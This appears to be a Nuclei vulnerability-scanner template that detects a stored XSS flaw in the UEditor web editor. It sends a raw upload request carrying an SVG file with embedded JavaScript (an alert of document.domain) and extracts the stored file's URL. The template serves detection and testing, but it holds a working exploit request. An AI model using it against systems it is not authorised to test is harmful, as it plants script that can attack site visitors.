72 lines
2.0 KiB
YAML
72 lines
2.0 KiB
YAML
id: ueditor-xss
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info:
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name: ueditor - Cross Site Scripting
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author: pwnhxl
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severity: high
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description: |
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The latest vulnerability version of UEditor, a rich text web editor, allows for XML file uploads which can lead to stored cross-site scripting (XSS) attacks.
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reference:
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- https://blog.csdn.net/weixin_50464560/article/details/124803185
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- https://github.com/fex-team/ueditor/releases/tag/v1.4.3.3
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
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cvss-score: 7.2
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cwe-id: CWE-79
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metadata:
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max-request: 1
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verified: true
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shodan-query: title:"ueditor"
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tags: ueditor,xss
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variables:
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randstring: "{{to_lower(rand_base(16))}}"
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http:
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- raw:
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- |
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POST /ueditor/php/controller.php?action=uploadfile HTTP/1.1
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Host: {{Hostname}}
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Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{randstring}}
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------WebKitFormBoundary{{randstring}}
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Content-Disposition: form-data; name="upfile"; filename="test.xml"
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Content-Type: application/vnd.ms-excel
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<?xml version="1.0" standalone="no"?>
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<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
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<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
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<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
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<script type="text/javascript">
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alert(document.domain);
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</script>
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</svg>
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------WebKitFormBoundary{{randstring}}--
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stop-at-first-match: true
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- 'state":"SUCCESS'
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- '.xml","title'
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condition: and
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- type: word
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part: header
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words:
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- "text/html"
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- type: status
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status:
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- 200
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extractors:
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- type: regex
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name: file_path
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part: body
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group: 1
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regex:
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- 'url":"(.*)","title'
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